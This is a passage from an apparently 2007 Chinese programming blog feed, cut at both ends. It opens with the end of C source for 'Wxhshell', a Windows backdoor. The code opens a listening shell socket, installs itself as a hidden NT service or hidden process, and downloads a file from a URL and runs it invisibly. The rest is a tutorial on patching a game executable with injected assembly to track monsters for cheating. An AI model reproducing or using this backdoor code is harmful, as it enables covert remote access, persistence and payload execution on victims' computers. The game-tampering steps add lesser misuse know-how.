<p>&nbsp;&nbsp;&nbsp; if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;&nbsp;&nbsp;&nbsp;&nbsp; <br>setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&amp;val,sizeof(val));<br>&nbsp;&nbsp;&nbsp; door.sin_family = AF_INET;<br>&nbsp;&nbsp;&nbsp; door.sin_addr.s_addr = inet_addr("127.0.0.1");<br>&nbsp;&nbsp;&nbsp; door.sin_port = htons(port);</p>
<p>&nbsp;&nbsp;&nbsp; if(bind(wsl, (const struct sockaddr *) &amp;door,sizeof(door)) == INVALID_SOCKET) {<br>&nbsp;&nbsp;closesocket(wsl);<br>&nbsp;&nbsp;return 1;<br>&nbsp;}</p>
<p>&nbsp;&nbsp;&nbsp; if(listen(wsl,2) == INVALID_SOCKET) {<br>&nbsp;&nbsp;closesocket(wsl);<br>&nbsp;&nbsp;return 1;<br>&nbsp;}<br>&nbsp;&nbsp;&nbsp; Wxhshell(wsl);<br>&nbsp;&nbsp;&nbsp; WSACleanup();</p>
<p>&nbsp;return 0;</p>
<p>}</p>
<p>// 以NT服务方式启动<br>VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )<br>{<br>&nbsp;DWORD&nbsp;&nbsp; status = 0;<br>&nbsp;&nbsp;&nbsp; DWORD&nbsp;&nbsp; specificError = 0xfffffff;</p>
<p>&nbsp;&nbsp;&nbsp; serviceStatus.dwServiceType&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = SERVICE_WIN32;<br>&nbsp;&nbsp;&nbsp; serviceStatus.dwCurrentState&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = SERVICE_START_PENDING;<br>&nbsp;&nbsp;&nbsp; serviceStatus.dwControlsAccepted&nbsp;&nbsp; = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;<br>&nbsp;&nbsp;&nbsp; serviceStatus.dwWin32ExitCode&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp; serviceStatus.dwServiceSpecificExitCode = 0;<br>&nbsp;&nbsp;&nbsp; serviceStatus.dwCheckPoint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp; serviceStatus.dwWaitHint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;</p>
<p>&nbsp;&nbsp;&nbsp; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);<br>&nbsp;&nbsp;&nbsp; if (hServiceStatusHandle==0) return;</p>
<p>&nbsp;status = GetLastError();<br>&nbsp;&nbsp;&nbsp; if (status!=NO_ERROR)<br>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serviceStatus.dwCurrentState&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = SERVICE_STOPPED;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serviceStatus.dwCheckPoint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serviceStatus.dwWaitHint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serviceStatus.dwWin32ExitCode&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = status;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serviceStatus.dwServiceSpecificExitCode = specificError;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SetServiceStatus(hServiceStatusHandle, &amp;serviceStatus);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; serviceStatus.dwCurrentState&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = SERVICE_RUNNING;<br>&nbsp;&nbsp;&nbsp; serviceStatus.dwCheckPoint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp; serviceStatus.dwWaitHint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp; if(SetServiceStatus(hServiceStatusHandle, &amp;serviceStatus)) StartWxhshell("");<br>}</p>
<p>// 处理NT服务事件，比如：启动、停止<br>VOID WINAPI NTServiceHandler(DWORD fdwControl)<br>{<br>&nbsp;switch(fdwControl)<br>&nbsp;{<br>&nbsp;&nbsp;case SERVICE_CONTROL_STOP:<br>&nbsp;&nbsp;&nbsp;serviceStatus.dwWin32ExitCode = 0;<br>&nbsp;&nbsp;&nbsp;serviceStatus.dwCurrentState&nbsp; = SERVICE_STOPPED;<br>&nbsp;&nbsp;&nbsp;serviceStatus.dwCheckPoint&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp;serviceStatus.dwWaitHint&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;SetServiceStatus(hServiceStatusHandle, &amp;serviceStatus);<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;return;<br>&nbsp;&nbsp;case SERVICE_CONTROL_PAUSE:<br>&nbsp;&nbsp;&nbsp;serviceStatus.dwCurrentState = SERVICE_PAUSED;<br>&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;case SERVICE_CONTROL_CONTINUE:<br>&nbsp;&nbsp;&nbsp;serviceStatus.dwCurrentState = SERVICE_RUNNING;<br>&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;case SERVICE_CONTROL_INTERROGATE:<br>&nbsp;&nbsp;&nbsp;break;<br>&nbsp;};<br>&nbsp;&nbsp;&nbsp; SetServiceStatus(hServiceStatusHandle,&nbsp; &amp;serviceStatus);<br>}</p>
<p>// 标准应用程序主函数<br>int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)<br>{</p>
<p>&nbsp;// 获取操作系统版本<br>&nbsp;OsIsNt=GetOsVer();<br>&nbsp;GetModuleFileName(NULL,ExeFile,MAX_PATH);</p>
<p>&nbsp;&nbsp;&nbsp; // 从命令行安装<br>&nbsp;&nbsp;&nbsp; if(strpbrk(lpCmdLine,"iI")) Install();</p>
<p>&nbsp;&nbsp;&nbsp; // 下载执行文件<br>&nbsp;if(wscfg.ws_downexe) {<br>&nbsp;&nbsp;if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)<br>&nbsp;&nbsp;&nbsp;WinExec(wscfg.ws_filenam,SW_HIDE);<br>&nbsp;}</p>
<p>&nbsp;if(!OsIsNt) {<br>&nbsp;&nbsp;// 如果时win9x，隐藏进程并且设置为注册表启动<br>&nbsp;&nbsp;HideProc();&nbsp;&nbsp;<br>&nbsp;&nbsp;StartWxhshell(lpCmdLine);<br>&nbsp;}<br>&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp; if(StartFromService())<br>&nbsp;&nbsp;&nbsp;// 以服务方式启动<br>&nbsp;&nbsp;&nbsp;StartServiceCtrlDispatcher(DispatchTable);<br>&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;// 普通方式启动<br>&nbsp;&nbsp;&nbsp;StartWxhshell(lpCmdLine);</p>
<p>&nbsp;return 0;<br>}</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<br>
<img src ="http://www.cppblog.com/niewenlong/aggbug/28537.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-07-22 00:14 <a href="http://www.cppblog.com/niewenlong/archive/2007/07/22/28537.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>内存中找怪物之代码注入篇</title><link>http://www.cppblog.com/niewenlong/archive/2007/07/21/28474.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Fri, 20 Jul 2007 17:39:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/07/21/28474.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/28474.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/07/21/28474.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/28474.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/28474.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font size=3>网上看了N多的文章，对内存中找怪极少有详细介绍，大多数人搞定人物内存中的有关参数后，止步于内存中的找怪。人物只有一个，而怪有各种各样的，数量又同时出现多个,比在内存中找人物坐标难度要大得多。<br>&nbsp; &nbsp;&nbsp; &nbsp;下面我将尽可能详细的讲讲内存中找怪之代码注入篇，抛砖引玉，望高人指点。这里的代码注入是直接把代码注入到游戏文件中，学个破解的人都知道，哪怕游戏原文件加了壳，在游戏原文件中加入自己的代码也是完全可以的。<br>&nbsp; &nbsp;&nbsp; &nbsp;由于本人水平有限，有的地方可能表达不清，请耐心慢慢看。有的地方采取的方法也许对高手来说好低劣，见笑了。<br></font><strong><font size=4>一、把周围的怪物名称起始地址集中写到内存中一固定区域。</font></strong><font size=4></font><font size=3>游戏中，玩家周围有许多怪物，所有怪物的名称、坐标、血量等参数不可能会固定在某一内存位置，但对于每一个怪物而言，它的名称、</font><font size=3>坐标、血量等在内存中的地址之间有着相对固定的差值，只要知道怪物的名称地址就能知道这个怪物的坐标、血量等地址。因此，只要把周围</font><font size=3>每个怪物的名称地址固定在内存中一定区域，就可知道这些怪物的其他参数。</font><br><font size=3>&nbsp; &nbsp;&nbsp; &nbsp;<strong>1</strong>、先把游戏中我们需要打的怪物名称（不是所有怪物，因为有的怪物不爆东西等不值得打）固定放到内存地址为004d2a60起的一块区域，制做</font><font size=3>一张需要打的怪物名称列表。每个怪名称占12字节，不够12字节的后面用00填充。<br>&nbsp; &nbsp; 内存地址：004d2a60是怎样来的呢？<br>&nbsp; &nbsp; 我们用PEditor打开游戏原文件，可以看到PE文件分了好多块，有的块是可以改写的（属性为E0000020或C0000040的可以改写），块里并不全</font><font size=3>部写满了数据，还有大块连续为00的空闲区域。用UltraEdit等软件打开游戏文件，看到文件物理地址为000d2a60起有一大块为00的空闲区域</font><font size=3>。映射到内存中就是地址为004d2a60起一块为00的空闲区域，我们先把怪物名称写到这块地方。</font><br><font size=3>&nbsp; &nbsp; 具体操做是用UltraEdit打开游戏文件，修改</font><font size=3>文件物理地址为000d2a60起的数据。原文件中这里全部为00，我们把下面数据填进去（部分怪物名称列表）。</font><br><font size=3>000D2A60&nbsp;&nbsp;B0 EB CA DE D5 BD CA BF 00 00 00 00 B0 EB CA DE&nbsp;&nbsp;半兽战士....半兽<br>000D2A70&nbsp;&nbsp;D3 C2 CA BF 00 00 00 00 BB A2 C9 DF 00 00 00 00&nbsp;&nbsp;勇士....虎蛇....<br>000D2A80&nbsp;&nbsp;00 00 00 00 B6 BE D6 A9 D6 EB 00 00 00 00 00 00&nbsp;&nbsp;....毒蜘蛛......<br>000D2A90&nbsp;&nbsp;C9 AD C1 D6 D1 A9 C8 CB 00 00 00 00 CD FE CB BC&nbsp;&nbsp;森林雪人....威思<br>000D2AA0&nbsp;&nbsp;B6 F8 D0 A1 B3 E6 00 00 B6 E0 BD C7 B3 E6 00 00&nbsp;&nbsp;而小虫..多角虫..<br>000D2AB0&nbsp;&nbsp;00 00 00 00 BF F8 BC D7 B3 E6 00 00 00 00 00 00&nbsp;&nbsp;....盔甲虫......<br>000D2AC0&nbsp;&nbsp;B8 AF CA B4 C8 CB B9 ED 00 00 00 00 C0 CB D7 D3&nbsp;&nbsp;腐蚀人鬼....浪子<br>000D2AD0&nbsp;&nbsp;C8 CB B9 ED 00 00 00 00 C0 D7 B5 E7 BD A9 CA AC&nbsp;&nbsp;人鬼....雷电僵尸<br>000D2AE0&nbsp;&nbsp;00 00 00 00 BD A9 CA AC 00 00 00 00 00 00 00 00&nbsp;&nbsp;....僵尸........<br>000D2AF0&nbsp;&nbsp;C9 AE C2 C2 BD A9 CA AC 00 00 00 00 B6 B4 C7 F9&nbsp;&nbsp;僧侣僵尸....洞蛆<br>000D2B00&nbsp;&nbsp;00 00 00 00 00 00 00 00 F7 BC F7 C3 BE AB C1 E9&nbsp;&nbsp;........骷髅精灵<br>000D2B10&nbsp;&nbsp;00 00 00 00 CA AC CD F5 00 00 00 00 00 00 00 00&nbsp;&nbsp;....尸王........</font><br><font size=3>这样，当游戏运行时，从内存地址004d2a60起的一段区域有了我们需要打的怪物列表。</font><br><font size=3></font><br><font size=3>&nbsp; &nbsp;&nbsp;&nbsp;<strong>2、</strong>再把玩家周围实际刷的怪物名称的起始地址（注意是名称的起始地址）固定在内存为004D3000起的长为100（16进制）的地方。<br>内存地址：004D3000是游戏运行时我们查到的空闲内存地址，我们利用它们来放周围怪物名称的起始地址，每个怪物名称的起始地址占4个字</font><font size=3>节，长为100（16进制）可以放64个怪物，玩家周围不会超过64个怪物吧，长为100应足够了。</font><br><font size=3>&nbsp; &nbsp; </font><br><font size=3>&nbsp; &nbsp;&nbsp;&nbsp;<strong>3</strong>、怎么写入这些怪物名称的起始地址呢？<br>&nbsp; &nbsp;&nbsp;&nbsp;首先应知道，游戏从哪里把怪物名称写入内存中。<br>&nbsp; &nbsp;&nbsp; &nbsp;Cheat Engine会用吧？具体怎么找，简单的说一下：<br>&nbsp; &nbsp;&nbsp;&nbsp;先运行游戏再运行Cheat Engine，CE中选择游戏程序，查看内存，搜索内存玩家周围的一个怪物名称。找到后记下怪物名称的起始内存地址，</font><font size=3>手动添加地址，把找到的地址添加到列表，类型为文本。从列表中选刚才添加的地址，右键选&#8220;寻找什么写入这个地址&#8221;。回到游戏中移动玩家</font><font size=3>，观察刚添加的内存地址的数值变化。变为00时为该怪物从玩家视眼中消失。再移动玩家到看见这怪物，如果运气好，怪物名会再次写入这个</font><font size=3>内存地址。这样在&#8220;以下处理将改变运算码&#8221;的窗口中会有汇编代码出现。</font><br><font size=3>&nbsp; &nbsp;&nbsp;&nbsp;如我的游戏：<br>&nbsp; &nbsp;&nbsp; &nbsp;能看到00409872&nbsp; &nbsp;mov&nbsp; &nbsp;byte ptr [edi+ecx], dl&nbsp; &nbsp;&nbsp;&nbsp;这句。<br>&nbsp; &nbsp;&nbsp; &nbsp;游戏是从这句把怪物名写入内存中的。</font><br><font size=3>用OllyICE打开游戏。跳到以下这段代码可以看到：<br>00409870&nbsp; &nbsp;&gt; /8A11&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; mov&nbsp; &nbsp;&nbsp;&nbsp;dl, byte ptr [ecx]&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;//从这里开始写怪物名称<br>00409872&nbsp; &nbsp;. |88140F&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;byte ptr [edi+ecx], dl&nbsp;&nbsp;<strong>//名称从[edi+ecx]开始</strong><br>00409875&nbsp; &nbsp;. |41&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;inc&nbsp; &nbsp;&nbsp;&nbsp;ecx<br>00409876&nbsp; &nbsp;. |84D2&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; test&nbsp; &nbsp; dl, dl<br>00409878&nbsp; &nbsp;.^\75 F6&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;jnz&nbsp; &nbsp;&nbsp;&nbsp;short 00409870&nbsp; &nbsp;&nbsp; &nbsp;<br>0040987A&nbsp; &nbsp;.&nbsp;&nbsp;50&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;push&nbsp; &nbsp; eax&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;//写完了运行到这里。<br>0040987B&nbsp; &nbsp;?&nbsp;&nbsp;68 4C774C00&nbsp; &nbsp;push&nbsp; &nbsp; 004C774C<br>00409880&nbsp; &nbsp;.&nbsp;&nbsp;56&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;push&nbsp; &nbsp; esi<br>00409881&nbsp; &nbsp;.&nbsp;&nbsp;E8 02F10A00&nbsp; &nbsp;call&nbsp; &nbsp; 004B8988</font><br><font size=3>&nbsp; &nbsp;&nbsp;&nbsp;游戏每出现一个怪都会把怪物名称写入[edi+ecx]开始的内存中，显然内存地址[edi+ecx]不是一个固定的值。我们要把这个值复制一份固定到</font><font size=3>内存中地址为004D3000开始的一块区域。<br>&nbsp; &nbsp;&nbsp; &nbsp;这样，周围的怪物名称的起始地址就固定在004D3000、004d3004、004D3008等等内存中.知道怪物名称的起始地址就能算出怪物的坐标、血量等</font><font size=3>地址。</font><br><font size=3>&nbsp; &nbsp;&nbsp; &nbsp;具体怎么做呢？<br>&nbsp; &nbsp;&nbsp;&nbsp;我们看到游戏运行到0040987A . 50&nbsp;&nbsp;push&nbsp; &nbsp;eax 这行时，怪物名称已经写到内存中，我们从这行开始写入我们的代码，原文件中紧接这行的</font><font size=3>下面肯定没有多余的空间来写我们的代码，这就要求改写这行代码，跳到空闲的地方把我们的代码加进去，运行完我们的代码后再跳回来。</font><br><font size=3>&nbsp; &nbsp;&nbsp;&nbsp;因此把原文件改为如下（对照上面）：<br>00409870&nbsp; &nbsp;&gt; /8A11&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; mov&nbsp; &nbsp;&nbsp;&nbsp;dl, byte ptr [ecx]<br>00409872&nbsp; &nbsp;. |88140F&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;byte ptr [edi+ecx], dl<br>00409875&nbsp; &nbsp;. |41&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;inc&nbsp; &nbsp;&nbsp;&nbsp;ecx<br>00409876&nbsp; &nbsp;. |84D2&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; test&nbsp; &nbsp; dl, dl<br>00409878&nbsp; &nbsp;.^\75 F6&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;jnz&nbsp; &nbsp;&nbsp;&nbsp;short 00409870<br>0040987A&nbsp; &nbsp;.- E9 FB690C00&nbsp; &nbsp;jmp&nbsp; &nbsp;&nbsp;&nbsp;004D027A&nbsp; &nbsp;<strong> //这里改为跳到004d027a</strong><br>0040987F&nbsp; &nbsp;&nbsp; &nbsp;90&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;nop<br>00409880&nbsp; &nbsp;.&nbsp;&nbsp;56&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;push&nbsp; &nbsp; esi<br>00409881&nbsp; &nbsp;.&nbsp;&nbsp;E8 02F10A00&nbsp; &nbsp;call&nbsp; &nbsp; 004B8988</font><br><font size=3>就是把这行0040987A . 50&nbsp;&nbsp;push&nbsp; &nbsp;eax改为:<br>0040987A&nbsp; &nbsp;.- E9 FB690C00&nbsp; &nbsp;jmp&nbsp;&nbsp;004D027A<br></font><br><font size=3>从004d027A开始写我们的代码，原文件中<strong>004D027A</strong>也是一块为00的空闲区域。</font><br><font size=3>下面是我们添加进去的代码，原文件中是为00的空闲区域。</font><br><font size=3></font><br><font size=3><strong>004D027A</strong>&nbsp; &nbsp; 50&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; eax&nbsp; &nbsp;&nbsp;&nbsp;//先把一些用到的寄存器数据入栈，保护现场。<br>004D027B&nbsp; &nbsp; 53&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; ebx<br>004D027C&nbsp; &nbsp; 51&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; ecx<br>004D027D&nbsp; &nbsp; 52&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push&nbsp; &nbsp; edx<br>004D027E&nbsp; &nbsp; 31D2&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;xor&nbsp; &nbsp;&nbsp;&nbsp;edx, edx<br>004D0280&nbsp; &nbsp; 81C7 A4F61200&nbsp; &nbsp;add&nbsp; &nbsp;&nbsp;&nbsp;edi, 12F6A4&nbsp; &nbsp;//此处就是edi+ecx,ecx为常数12F6A4<br>004D0286&nbsp; &nbsp; 833F 00&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;dword ptr [edi], 0&nbsp;&nbsp;//怪名是否为空<br>004D0289&nbsp; &nbsp; 74 63&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;je&nbsp; &nbsp;&nbsp; &nbsp;short 004D02EE&nbsp; &nbsp;&nbsp; &nbsp; //为空不是怪名，直接跳回去不写入<br>004D028B&nbsp; &nbsp; 33C9&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;xor&nbsp; &nbsp;&nbsp;&nbsp;ecx, ecx<br>004D028D&nbsp; &nbsp; 8B0439&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; mov&nbsp; &nbsp;&nbsp;&nbsp;eax, dword ptr [ecx+edi]&nbsp; &nbsp;&nbsp;&nbsp;//怪名前4个字节放入eax中<br>004D0290&nbsp; &nbsp; 8B9C11 602A4D00 mov&nbsp; &nbsp;&nbsp;&nbsp;ebx, dword ptr [ecx+edx+4D2A60] //<font size=2>需要打的怪名前4个字节</font></font><br><font size=3>004D0297&nbsp; &nbsp; 83C1 04&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;add&nbsp; &nbsp;&nbsp;&nbsp;ecx, 4<br>004D029A&nbsp; &nbsp; 3BC3&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;eax, ebx&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;//比较刷的怪名与需要打的怪名前4个字节<br>004D029C&nbsp; &nbsp; 75 07&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jnz&nbsp; &nbsp;&nbsp;&nbsp;short 004D02A5&nbsp; &nbsp;//不相等，跳到与下一个需要打的怪名 <br>004D029E&nbsp; &nbsp; 83F9 0C&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;ecx, 0C&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; //因为怪名长占12个字节，所以要比较三次<br>004D02A1&nbsp;&nbsp;^ 7C EA&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;jl&nbsp; &nbsp;&nbsp; &nbsp;short 004D028D&nbsp; &nbsp;//没比较完返回继续比较<br>004D02A3&nbsp; &nbsp; EB 0D&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; jmp&nbsp; &nbsp;short 004D02B2&nbsp;&nbsp;//<font size=2>刷的怪名从需要打的怪名列表中找到了,跳到开始写入.&nbsp;&nbsp;</font>004D02A5&nbsp; &nbsp; 83C2 0C&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;add&nbsp; &nbsp;&nbsp;&nbsp;edx, 0C&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; //下一个需要打的怪名<br>004D02A8&nbsp; &nbsp; 81FA 08010000&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;edx, 108&nbsp; &nbsp;&nbsp;&nbsp;//是否到了需要打的怪名列表尽头<br>004D02AE&nbsp;&nbsp;^ 7C DB&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jl&nbsp; &nbsp;&nbsp; &nbsp;short 004D028B&nbsp; &nbsp;//没到继续比较<br>004D02B0&nbsp; &nbsp; EB 3C&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jmp&nbsp; &nbsp;&nbsp;&nbsp;short 004D02EE&nbsp; &nbsp;//到了尽头刷的这个怪不是需要打的，跳回不写入<br>004D02B2&nbsp; &nbsp; 33C9&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;xor&nbsp; &nbsp;&nbsp;&nbsp;ecx, ecx&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;//<strong>从这开始写入<br></strong>004D02B4&nbsp; &nbsp; 8B81 00304D00&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;eax, dword ptr [ecx+4D3000]&nbsp; &nbsp;//把想写入的内存地址放入eax<br>004D02BA&nbsp; &nbsp; 83C1 04&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;add&nbsp; &nbsp;&nbsp;&nbsp;ecx, 4<br>004D02BD&nbsp; &nbsp; 81F9 00010000&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;ecx, 100&nbsp; &nbsp;&nbsp; &nbsp; //是否写满,能写64个怪，周围一般同时没有这么多<br>004D02C3&nbsp; &nbsp; 7F 12&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jg&nbsp; &nbsp;&nbsp; &nbsp;short 004D02D7&nbsp; &nbsp; //写满了清空这块区域.<br>004D02C5&nbsp; &nbsp; 83F8 00&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;eax, 0&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;//比较内存地址[ecx+4D3000]，是否写了其他怪<br>004D02C8&nbsp;&nbsp;^ 75 EA&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jnz&nbsp; &nbsp;&nbsp;&nbsp;short 004D02B4&nbsp;&nbsp;//写了，找下一个内存地址<br>004D02CA&nbsp; &nbsp; 89B9 FC2F4D00&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;dword ptr [ecx+4D2FFC], edi&nbsp;&nbsp;//把怪名的起始内存地址写入<br>004D02D0&nbsp; &nbsp; E8 BB000000&nbsp; &nbsp;&nbsp;&nbsp;call&nbsp; &nbsp; 004D0390&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;//写入一怪后，重新找最近怪,后面详细讲这个call<br>004D02D5&nbsp; &nbsp; EB 17&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jmp&nbsp; &nbsp;&nbsp;&nbsp;short 004D02EE&nbsp;&nbsp;//整理后返回<br>004D02D7&nbsp; &nbsp; 33C9&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;xor&nbsp; &nbsp;&nbsp;&nbsp;ecx, ecx<br>004D02D9&nbsp; &nbsp; 33C0&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;xor&nbsp; &nbsp;&nbsp;&nbsp;eax, eax<br>004D02DB&nbsp; &nbsp; 8981 00304D00&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;dword ptr [ecx+4D3000], eax<br>004D02E1&nbsp; &nbsp; 83C1 04&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;add&nbsp; &nbsp;&nbsp;&nbsp;ecx, 4<br>004D02E4&nbsp; &nbsp; 81F9 00010000&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;ecx, 100<br>004D02EA&nbsp;&nbsp;^ 7C EF&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jl&nbsp; &nbsp;&nbsp; &nbsp;short 004D02DB<br>004D02EC&nbsp;&nbsp;^ EB C4&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jmp&nbsp; &nbsp;&nbsp;&nbsp;short 004D02B2<br>004D02EE&nbsp; &nbsp; 5A&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; 